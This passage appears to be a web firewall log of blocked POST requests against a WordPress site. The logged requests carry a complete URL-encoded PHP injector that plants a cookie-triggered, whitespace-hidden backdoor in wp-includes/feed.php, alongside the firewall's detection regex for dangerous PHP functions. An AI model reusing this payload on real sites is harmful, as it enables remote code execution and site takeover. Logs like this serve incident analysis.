20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:4263\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nRp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:05","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4263\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nsK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:07","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:4263\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nMk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:09","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:4263\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 